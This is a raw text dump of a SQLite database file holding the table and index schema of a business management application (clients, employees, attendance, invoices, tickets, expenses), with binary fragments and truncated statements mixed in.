INDEX "client_contacts_added_by_foreign" on "client_contacts" ("added_by")D#++?tableclient_contactsclient_contacts)CREATE TABLE "client_contacts" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "contact_name" varchar not null, "phone" varchar, "email" varchar, "title" varchar, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)C"//5tableclient_categoriesclient_categories(CREATE TABLE "client_categories" ("id" integer primary key autoincrement not null, "company_id" integer, "category_name" varchar not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)q--tableaccept_estimatesaccept_estimatesCREATE TABLE "accept_estimates" ("id" integer primary key autoincrement not null, "company_id" integer, "estimate_id" integer not null, "full_name" varchar not null, "email" varchar not null, "signature" varchar not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("estimate_id") references "estimates"("id") on delete CASCADE on update CASCADE)60//5tablecompany_addressescompany_addressesCREATE TABLE "company_addresses" ("id" integer primary key autoincrement not null, "company_id" integer, "address" text not null, "is_default" tinyint(1) not null, "tax_number" varchar, "tax_name" varchar, "location" varchar, "created_at" datetime, "updated_at" datetime, "latitude" numeric, "longitude" numeric, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)6F++=tableemployee_shiftsemployee_shiftsCREATE TABLE "employee_shifts" ("id" integer primary key autY//atablecompany_addressescompany_addressesCREATE TABLE "company_addresses" ("id" integer primary key autoincrement not null, "company_id" integer, "address" text not null, "is_default" tinyint(1) not null, "tax_number" varchar, "tax_name" varchar, "location" varchar, "created_at" datetime, "updated_at" datetime, "latitude" numeric, "longitude" numeric, "country_id" integer, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)U-?indexaccept_estimates_estimate_id_foreignaccept_estimatesCREATE INDEX "accept_estimates_estimate_id_foreign" on "accept_estimates" ("estimate_id")=q3windexattendance_settings_default_employee_shift_for $K++indexclient_contacts_user_id_foreignclient_contacts*CREATE INDEX "client_contacts_user_id_foreign" on "client_contacts" ("user_id")   6 6-bIa''Otabletask_settingstask_settingsCREATE TABLE "task_settings" ("id" integer primary key autoincrement not null, "company_id" integer, "task_category" varchar check ("task_category" in ('yes', 'no')) not null default 'yes', "project" varchar check ("project" in ('yes', 'no')) not null default 'yes', "start_date" varchar check ("start_date" in ('yes', 'no')) not null default 'yes', "due_date" varchar check ("due_date" in ('yes', 'no')) not null default 'yes', "assigned_to" varchar check ("assigned_to" in ('yes', 'no')) not null default 'yes', "assigned_by" varchar check ("assigned_by" in ('yes', 'no')) not null default 'yes', "description" varchar check ("description" in ('yes', 'no')) not null default 'yes', "label" varchar check ("label" in ('yes', 'no')) not null default 'yes', "status" varchar check ("status" in ('yes', 'no')) not null default 'yes', "priority" varchar check ("priority" in ('yes', 'no')) not null default 'yes', "make_private" varchar check ("make_private" in ('yes', 'no')) not null default 'yes', "time_estimate" varchar check ("time_estimate" in ('yes', 'no')) not null default 'yes', "hours_logged" varchar check ("hours_logged" in ('yes', 'no')) not null default 'yes', "custom_fields" varchar check ("custom_fields" in ('yes', 'no')) not null default 'yes', "copy_task_link" varchar check ("copy_task_link" in ('yes', 'no')) not null default 'yes', "files" varchar check ("files" in ('yes', 'no')) not null default 'yes', "sub_task" varchar check ("sub_task" in ('yes', 'no')) not null default 'yes', "comments" varchar check ("comments" in ('yes', 'no')) not null default 'yes', "time_logs" varchar check ("time_logs" in ('yes', 'no')) not null default 'yes', "notes" varchar check ("notes" in ('yes', 'no')) not null default 'yes', "history" varchar check ("history" in ('yes', 'no')) not null default 'yes', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade) `555tableknowledge_base_filesknowledge_base_filesCREATE TABLE "knowledge_base_files" ("id" integer primary key autoincrement not null, "company_id" integer, "knowledge_base_id" integer not null, "filename" varchar, "hashname" varchar, "size" varchar, "external_link_name" varchar, "external_link" text, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("knowledge_base_id") references "knowledge_bases"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update cascade, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update cascade) _##tableevent_filesevent_filesCREATE TABLE "event_files" ("id" integer primary key autoincrement not null, "company_id" integer, "event_id" integer not null, "filename" varchar, "hashname" varchar, "size" varchar, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("event_id") references "events"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update cascade, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update cascade)G^GG tableproposal_template_item_imagesproposal_template_item_imagesCREATE TABLE "proposal_template_item_images" ("id" integer primary key autoincrement not null, "company_id" integer, "proposal_template_item_id" integer not null, "filename" varchar not null, "hashname" varchar, "size" varchar, "external_link" varchar, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("proposal_template_item_id") references "proposal_template_items"("id") on delete cascade on update cascade)  bctableprojectsprojectsiCREATE TABLE projects (id \m##tableattendancesattendancesCREATE TABLE attendances (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, user_id INTEGER NOT NULL, location_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, employee_shift_id INTEGER DEFAULT NULL, clock_in_time DATETIME NOT NULL, clock_out_time DATETIME DEFAULT NULL, clock_in_ip VARCHAR(255) NOT NULL, clock_out_ip VARCHAR(255) DEFAULT NULL, working_from VARCHAR(191) DEFAULT 'office', late VARCHAR(255) DEFAULT 'no' NOT NULL, half_day VARCHAR(255) NOT NULL, latitude NUMERIC(10, 0) DEFAULT NULL, longitude NUMERIC(10, 0) DEFAULT NULL, shift_start_time DATETIME DEFAULT NULL, shift_end_time DATETIME DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, "work_from_type" varchar check ("work_from_type" in ('home', 'office', 'other')) not null default 'other', "overwrite_attendance" varchar check ("overwrite_attendance" in ('yes', 'no')) not null default 'no', FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (employee_shift_id) REFERENCES employee_shifts (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (location_id) REFERENCES company_addresses (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (user_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)5indexIDX_5C93B3A4979B1AD6projectstCREATE INDEX IDX_5C93B3A4979B1AD6 ON projects (company_id)Iindexprojects_project_admin_foreignprojectsrCREATE INDEX projects_project_admin_foreign ON projects (project_admin),Eindexprojects_category_id_foreignprojectsqCREATE INDEX projects_category_id_foreign ON projects (category_id)A indexprojects_client_id_foreignprojectspCREATE INDEX projects_client_id_foreign ON projects (client_id)D=indexprojects_team_id_foreignprojectsoCREATE INDEX projects_team_id_foreign ON projects (team_id)Eindexprojects_currency_id_foreignprojectsnCREATE INDEX projects_currency_id_foreign ON projects (currency_id)b?indexprojects_added_by_foreignprojectsmCREATE INDEX projects_added_by_foreign ON projects (added_by)M#indexprojects_last_updated_by_foreignprojectslCREATE INDEX projects_last_updated_by_foreign ON projects (last_updated_by)p? indexprojects_deleted_at_indexprojectskCREATE INDEX projects_deleted_at_index ON projects (deleted_at) b;;)tableproject_status_settingsproject_status_settingsCREATE TABLE "project_status_settings" ("id" integer primary key autoincrement not null, "company_id" integer, "status_name" varchar not null, "color" varchar not null, "status" varchar check ("status" in ('active', 'inactive')) not null, "default_status" varchar check ("default_status" in ('1', '0')) not null default '0', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)           Pt z|||||||#wW7indexinvoices_invoice_recurring_id_foreigninvoicesCREATE INDEX invoices_invoice_recurring_id_foreign ON invoices (invoiceq!11 indexIDX_5A7C8E4855458Dproposal_templatesCREATE INDEX IDX_5A7C8E4855458D ON proposal_templates (lead_id) ]51indexIDX_5A7C8E4838248176proposal_templatesCREATE INDEX IDX_5A7C8E4838248176 ON pro*W/7indexinvoice_recurring_currency_id_foreigninvoice_recurringCREATE INDEX invoice_recurring_currency_id_foreign ON invoice_recurring (currency_id)eS-;indexpassport_details_country_id_foreignpassport_detailsCREATE INDEX "passport_details_country_id_foreign" on "passport_details" ("country_id")Af%%Ctablevisa_detailsvisa_detailsCREATE TABLE "visa_details" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer, "country_id" integer, "added_by" integer, "visa_number" varchar not null, "issue_date" date not null, "expiry_date" date not null, "file" varchar, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("user_id") references "users"("id") on delete cascade on update cascade, foreign key("country_id") references "countries"("id") on delete CASCADE on update CASCADE, foreign key("added_by") references "users"("id") on delete SET NULL on update cascade)Rl55Etablecustom_link_settingscustom_link_settingsCREATE TABLE "custom_link_settings" ("id" integer primary key autoincrement not null, "company_id" integer, "link_title" varchar not null, "url" text not null, "can_be_viewed_by" varchar, "status" varchar check ("status" in ('active', 'inactive')) not null default 'active', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)$G##indexorder_carts_client_id_foreignorder_cartsCREATE INDEX "order_carts_client_id_foreign" on "order_carts" ("client_id"))U/3indexinvoice_recurring_project_id_foreigninvoice_recurringCREATE INDEX invoice_recurring_project_id_foreign ON invoice_recurring (project_id)S//indexinvoice_recurring_client_id_foreigninvoice_recurringCREATE INDEX invoice_recurring_client_id_foreign ON invoice_recurring (client_id)hO/'indexinvoice_recurring_user_id_foreigninvoice_recurringCREATE INDEX invoice_recurring_user_id_foreign ON invoice_recurring (user_id)U/3indexinvoice_recurring_created_by_foreigninvoice_recurringCREATE INDEX invoice_recurring_created_by_foreign ON invoice_recurring (created_by)=Q/+indexinvoice_recurring_added_by_foreigninvoice_recurringCREATE INDEX invoice_recurring_added_by_foreign ON invoice_recurring (added_by)_/Gindexinvoice_recurring_last_updated_by_foreigninvoice_recurringCREATE INDEX invoice_recurring_last_updated_by_foreign ON invoice_recurring (last_updated_by)gK%+indexvisa_details_country_id_foreignvisa_detailsCREATE INDEX "visa_details_country_id_foreign" on "visa_details" ("country_id")         e / 9U 2 //&IHM-/indexuser_invitations_user_id_foreignuser_invitations{CREATE INDEX "user_invitations_user_id_foreign" on "user_invitations" ("user_id")!C--stableuniversal_searchuniversal_searchvCREATE TABLE "universal_search" ("id" integer primary key autoincrement not null, "company_id" integer, "searchable_id" integer not null, "module_type" varchar check ("module_type" in ('ticket', 'invoice', 'notice', 'proposal', 'task', 'creditNote', 'client', 'employee', 'project', 'estimate', 'lead')), "title" varchar not null, "route_name" varchar not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)IB11;tabletranslate_settingstranslate_settingsuCREATE TABLE "translate_settings" ("id" integer primary key autoincrement not null, "google_key" varchar, "created_at" datetime, "updated_at" datetime)AG##indexticket_tags_ticket_id_foreignticket_tagstCREATE INDEX "ticket_tags_ticket_id_foreign" on "ticket_tags" ("ticket_id")x@A#indexticket_tags_tag_id_foreignticket_tagssCREATE INDEX "ticket_tags_tag_id_foreign" on "ticket_tags" ("tag_id")?##Etableticket_tagsticket_tagsrCREATE TABLE "ticket_tags" ("id" integer primary key autoincrement not null, "company_id" integer, "tag_id" integer not null, "ticket_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("tag_id") references "ticket_tag_list"("id") on delete CASCADE on update CASCADE, foreign key("ticket_id") references "tickets"("id") on delete CASCADE on update CASCADE)9>++'tableticket_tag_listticket_tag_listqCREATE TABLE "ticket_tag_list" ("id" integer primary key autoincrement not null, "company_id" integer, "tag_name" varchar not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)l=99qtableticket_reply_templatesticket_reply_templatesoCREATE TABLE "ticket_reply_templates" ("id" integer primary key autoincrement not null, "company_id" integer, "reply_heading" text not null, "reply_text" text not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)U%?indexticket_files_ticket_reply_id_foreignticket_filesnCREATE INDEX "ticket_files_ticket_reply_id_foreign" on "ticket_f<U%?indexticket_files_ticket_reply_id_foreignticket_filesnCREATE INDEX "ticket_files_ticket_reply_id_foreign" on "ticket_files" ("ticket_reply_id"),G-- tableuser_invitationsuser_invitationszCREATE TABLE "user_invitations" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "invitation_type" varchar check ("invitation_type" in ('email', 'link')) not null default 'email', "email" varchar, "invitation_code" varchar not null, "status" varchar check ("status" in ('active', 'inactive')) not null default 'active', "email_restriction" varchar, "message" text, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)FM+3indexuser_activities_created_at_indexuser_activitiesyCREATE INDEX "user_activities_created_at_index" on "user_activities" ("created_at") EK++indexuser_activities_user_id_foreignuser_activitiesxCREATE INDEX "user_activities_user_id_foreign" on "user_activities" ("user_id")'D++tableuser_activitiesuser_activitieswCREATE TABLE "user_activities" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "activity" text not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE) w *y YY,Y)Gindexclient_details_sub_+Q)7indexclient_details_category_id_foreignclient_details1CREATE INDEX "client_details_category_id_foreign" on "client_details" ("category_id")*I)'indexclient_details_user_id_foreignclient_details0CREATE INDEX "client_details_user_id_foreign" on "client_details" ("user_id") {)))1tableclient_detailsclient_details/CREATE TABLE "client_details" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "company_name" varchar, "address" text, "shipping_address" text, "postal_code" varchar, "state" varchar, "city" varchar, "office" varchar, "website" varchar, "note" text, "linkedin" varchar, "facebook" varchar, "twitter" varchar, "skype" varchar, "gst_number" varchar, "category_id" integer, "sub_category_id" integer, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, "company_logo" varchar, "quickbooks_client_id" integer, "electronic_address" varchar, "electronic_address_scheme" varchar, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("category_id") references "client_categories"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("sub_category_id") references "client_sub_categories"("id") on delete SET NULL on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE).(_7Sindexclient_sub_categories_category_id_foreignclient_sub_categories.CREATE INDEX "client_sub_categories_category_id_foreign" on "client_sub_categories" ("category_id")T'77Gtableclient_sub_categoriesclient_sub_categories-CREATE TABLE "client_sub_categories" ("id" integer primary key autoincrement not null, "company_id" integer, "category_id" integer not null, "category_name" varchar not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("category_id") references "client_categories"("id") on delete CASCADE on update CASCADE)"&[+Kindexclient_contacts_last_updated_by_foreignclient_contacts,CREATE INDEX "client_contacts_last_updated_by_foreign" on "client_contacts" ("last_updated_by")HM+/indexclient_contacts_added_by_foreignclient_contacts+CREATE INDEX "client_contacts_added_by_foreign" on "client_contacts" ("added_by") $K++indexclient_contacts_user_id_foreignclient_contacts*CREATE INDEX "client_contacts_user_id_foreign" on "client_contacts" ("user_id")D#++?tableclient_contactsclient_contac)))Ytableclient_detailsclient_details/CREATE TABLE "client_details" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "company_name" varchar, "address" text, "shipping_address" text, "postal_code" varchar, "state" varchar, "city" varchar, "office" varchar, "website" varchar, "note" text, "linkedin" varchar, "facebook" varchar, "twitter" varchar, "skype" varchar, "gst_number" varchar, "category_id" integer, "sub_category_id" integer, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, "company_logo" varchar, "quickbooks_client_id" integer, "electronic_address" varchar, "electronic_address_scheme" varchar, "tax_name" varchar, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("category_id") references "client_categories"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("sub_category_id") references "client_sub_categories"("id") on delete SET NULL on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE) $$#"!              ok> W C.#o0<':]/Oindexclient_user_notes_client_note_id_foreignclient_user_notesACREATE INDEX "client_user_notes_client_note_id_foreign" on "client_user_notes" ("client_note_id")9O/3indexclient_user_notes_user_id_foreignclient_user_notes@CREATE INDEX "client_user_notes_user_id_foreign" on "client_user_notes" ("user_id")8//_tableclient_user_notesclient_user_notes?CREATE TABLE "client_user_notes" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "client_note_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("client_note_id") references "client_notes"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)7U%?indexclient_notes_last_updated_by_foreignclient_notes>CREATE INDEX "client_notes_last_updated_by_foreign" on "client_notes" ("last_updated_by")6G%#indexclient_notes_added_by_foreignclient_notes=CREATE INDEX "client_notes_added_by_foreign" on "client_notes" ("added_by")5I%'indexclient_notes_member_id_foreignclient_notes---tableemployee_detailsemployee_detailsCREATE TABLE "employee_details" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "employee_id" varchar, "address" text, "hourly_rate" float, "slack_username" varchar, "department_id" integer, "designation_id" integer, "joining_date" datetime not null default CURRENT_TIMESTAMP, "last_date" date, "added_by" integer, "last_updated_by" integer, "attendance!W'Cindexemployee_docs_last_updated_by_foreignemployee_docsCREATE INDEX "employee_docs_last_updated_by_foreign" on "employee_docs" ("last_updated_by") I''indexemployee_docs_added_by_foreignemployee_docsCREATE INDEX "employee_docs_added_by_foreign" on "employee_docs" ("added_by")N''Ytableemployee_docsemployee_docsCREATE TABLE "employee_docs" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "name" varchar not null, "filename" varchar not null, "hashname" varchar not null, "size" varchar, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)/a1Windexemergency_contacts_last_updated_by_foreignemergency_contactsCREATE INDEX "emergency_contacts_last_updated_by_foreign" on "emergency_contacts" ("last_updated_by")S1;indexemergency_contacts_added_by_foreignemergency_contactsCREATE INDEX "emergency_contacts_added_by_foreign" on "emergency_contacts" ("added_by")Q17indexemergency_contacts_user_id_foreignemergency_contactsCREATE INDEX "emergency_contacts_user_id_foreign" on "emergency_contacts" ("user_id")T11Qtableemergency_contactsemergency_contactsCREATE TABLE "emergency_contacts" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "name" varchar, "email" varchar, "mobile" varchar, "relation" varchar, "address" varchar, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)eCCOtableemail_notification_settingsemail_notification_settingsCREATE TABLE "email_notification_settings" ("id" integer primary key autoincrement not null, "company_id" integer, "slug" varchar, "setting_name" varchar not null, "send_email" varchar check ("send_email" in ('yes', 'no')) not null default 'no', "send_slack" varchar check ("send_slack" in ('yes', 'no')) not null default 'no', "send_push" varchar check ("send_push" in ('yes', 'no')) not null default 'no', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)3e-_indexdiscussion_files_discussion_reply_id_foreigndiscussion_filesCREATE INDEX "discussion_files_discussion_reply_id_foreign" on "discussion_files" ("discussion_reply_id")!Y-Gindexdiscussion_files_discussion_id_foreigndiscussion_filesCREATE INDEX "discussion_files_discussion_id_foreign" on "discussion_files" ("discussion_id") M-/iG'#indexemployee_docs_user_id_foreignemployee_docsCREATE INDEX "employee_docs_user_id_foreign" on "employee_docs" ("user_id") M-/indexdiscussion_files_user_id_foreigndiscussion_filesCREATE INDEX "discussion_files_user_id_foreign" on "discussion_files" ("user_id")           T ) 1I`wYTJ &==tableemployee_shift_schedulesemployee_shift_schedulesCREATE TABLE "employee_shift_schedules" ("id" integer primary key autoincrement not null, "user_id" integer not null, "date" date not null, "employee_shift_id" integer not null, "added_by" integer, "last_updated0++7tableemployee_skillsemployee_skillsCREATE TABLE "employee_skills" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "skill_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("skill_id") references "skills"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)/ tableskillsskillsCREATE TABLE "skills" ("id" integer primary key autoincrement not null, "company_id" integer, "name" varchar not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)e.}Iindexemployee_shift_change_requests_employee_shift_id_foreignemployee_shift_change_requestsCREATE INDEX "employee_shift_change_requests_employee_shift_id_foreign" on "employee_shift_change_requests" ("employee_shift_id")e-}Iindexemployee_shift_change_requests_shift_schedule_id_foreignemployee_shift_change_requestsCREATE INDEX "employee_shift_change_requests_shift_schedule_id_foreign" on "employee_shift_change_requests" ("shift_schedule_id")d,IIAtableemployee_shift_change_requestsemployee_shift_change_requestsCREATE TABLE "employee_shift_change_requests" ("id" integer primary key autoincrement not null, "company_id" integer, "shift_schedule_id" integer not null, "employee_shift_id" integer not null, "status" varchar check ("status" in ('waiting', 'accepted', 'rejected')) not null default 'waiting', "reason" text, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("employee_shift_id") references "employee_shifts"("id") on delete CASCADE on update CASCADE, foreign key("shift_schedule_id") references "employee_shift_schedules"("id") on delete CASCADE on update CASCADE)G+m=oindexemployee_shift_schedules_last_updated_by_foreignemployee_shift_schedulesCREATE INDEX "employee_shift_schedules_last_updated_by_foreign" on "employee_shift_schedules" ("last_updated_by")2*_=Sindexemployee_shift_schedules_added_by_foreignemployee_shift_schedulesCREATE INDEX "employee_shift_schedules_added_by_foreign" on "employee_shift_schedules" ("added_by")M)q=windexemployee_shift_schedules_employee_shift_id_foreignemployee_shift_schedulesCREATE INDEX "employee_shift_schedules_employee_shift_id_foreign" on "employee_shift_schedules" ("employee_shift_id")"(S=?indexemployee_shift_schedules_date_indexemployee_shift_schedulesCREATE INDEX "employee_shift_schedules_date_index" on "employee_shift_schedules" ("date")/']=Oindexemployee_shift_schedules_user_id_foreignemployee_shift_schedulesCREATE INDEX "employee_shift_schedules_user_id_foreign" on "employee_shift_schedules" ("user_id") &==Qtableemployee_shift_schedulesemployee_shift_schedulesCREATE TABLE "employee_shift_schedules" ("id" integer primary key autoincrement not null, "user_id" integer not null, "date" date not null, "employee_shift_id" integer not null, "added_by" integer, "last_updated_by" integer, "shift_start_time" datetime, "shift_end_time" datetime, "remarks" text, "created_at" datetime, "updated_at" datetime, "file" varchar not null, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("employee_shift_id") references "employee_shifts"("id") on delete CASCADE on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)               t>9tableexpensesexpensesCREATE TABLE expenses (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, currency_id INTEGER NOT NULL, user_id INTEGER NOT NULL, category_id INTEGER DEFAULT NULL, expenses_recurring_id INTEGER DEFAULT NULL, created_by INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, approver_id INTEGER DEFAULT NULL, item_name VARCHAR(255) NOT NULL, purchase_date DATE NOT NULL, purchase_from VARCHAR(255) DEFAULT NULL, price DOUBLE PRECISION NOT NULL, project_id INTEGER DEFAULT NULL, bill VARCHAR(255) DEFAULT NULL, status VARCHAR(255) DEFAULT 'pending' NOT NULL, can_claim BOOLEAN DEFAULT 1 NOT NULL, description CLOB DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, bank_accoH//;tableticket_activitiesticket_activitiesCREATE TABLE "ticket_activities" ("id" integer primary key autoincrement not null, "ticket_id" integer not null, "user_id" integer not null, "assigned_to" integer, "channel_id" integer, "group_id" integer, "type_id" integer, "status" varchar not null default 'open', "priority" varchar not null default 'medium', "type" varchar not null default 'create', "content" text, "created_at" datetime, "updated_at" datetime, foreign key("ticket_id") references "tickets"("id") on delete cascade, foreign key("user_id") references "users"("id") on delete cascade, foreign key("assigned_to") references "users"("id") on delete cascade, foreign key("channel_id") references "ticket_channels"("id") on delete cascade, foreign key("group_id") references "ticket_groups"("id") on delete cascade, foreign key("type_id") references "ticket_types"("id") on delete cascade)K5indexIDX_2496F35B979B1AD6expensesCREATE INDEX IDX_2496F35B979B1AD6 ON expenses (company_id)Eindexexpenses_currency_id_foreignexpensesCREATE INDEX expenses_currency_id_foreign ON expenses (currency_id)l=indexexpenses_user_id_foreignexpensesCREATE INDEX expenses_user_id_foreign ON expenses (user_id)x=33indexIDX_B4C0607979B1AD6attendance_settingsCREATE INDEX IDX_B4C0607979B1AD6 ON attendance_settings (company_id)B<q3kindexattendance_settings_default_employee_shift_foreignattendance_settingsCREATE INDEX attendance_settings_default_employee_shift_foreign ON attendance_settings (default_employee_shift)v;33tableattendance_settingsattendance_settingsCREATE TABLE attendance_settings (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, default_employee_shift INTEGER DEFAULT 1, auto_clock_in VARCHAR(255) DEFAULT 'no' NOT NULL COLLATE "BINARY", office_start_time TIME NOT NULL, office_end_time TIME NOT NULL, halfday_mark_time TIME DEFAULT NULL, late_mark_duration INTEGER NOT NULL, clockin_in_day INTEGER DEFAULT 1 NOT NULL, employee_clock_in_out VARCHAR(255) DEFAULT 'yes' NOT NULL COLLATE "BINARY", office_open_days VARCHAR(255) DEFAULT '[1,2,3,4,5]' NOT NULL COLLATE "BINARY", ip_address CLOB DEFAULT NULL COLLATE "BINARY", radius INTEGER DEFAULT NULL, radius_check VARCHAR(255) DEFAULT 'no' NOT NULL COLLATE "BINARY", ip_check VARCHAR(255) DEFAULT 'no' NOT NULL COLLATE "BINARY", alert_after INTEGER DEFAULT NULL, alert_after_status BOOLEAN DEFAULT 1 NOT NULL, save_current_location BOOLEAN DEFAULT 0 NOT NULL, week_start_from VARCHAR(255) DEFAULT '1' NOT NULL COLLATE "BINARY", allow_shift_change BOOLEAN DEFAULT 1 NOT NULL, show_clock_in_button VARCHAR(255) DEFAULT 'no' NOT NULL COLLATE "BINARY", created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, auto_clock_in_location VARCHAR(255) DEFAULT 'office' NOT NULL COLLATE "BINARY", monthly_report BOOLEAN DEFAULT 0 NOT NULL, monthly_report_roles VARCHAR(255) DEFAULT NULL COLLATE "BINARY", FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (default_employee_shift) REFERENCES employee_shifts (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE)                 r s ] P6))Ytableestimate_itemsestimate_itemsCREATE TABLE "estimate_items" ("id" integer primary key autoincrement not null, "estimate_id" integer not null, "item_name" varchar not null, "item_summary" text, "type" varchar check ("type" in ('item', 'discount', 'tax')) not null default 'item', "quantity" float not null, "unit_price" float not null, "amount" float not null, "taxes" varchar, "hsn_sac_code" varchar, "created_at" datetime, "updated_at" datetime, "unit_id" integer, "product_id" integer, foreign key("estimate_id") references "estimates"("id") on delete CASCADE on update CASCADE)StableeventseventsCREATE TABLE "events" ("id" integer primary key autoincrement not null, "company_id" integer, "event_name" varchar not null, "label_color" varchar not null, "where" varchar not null, 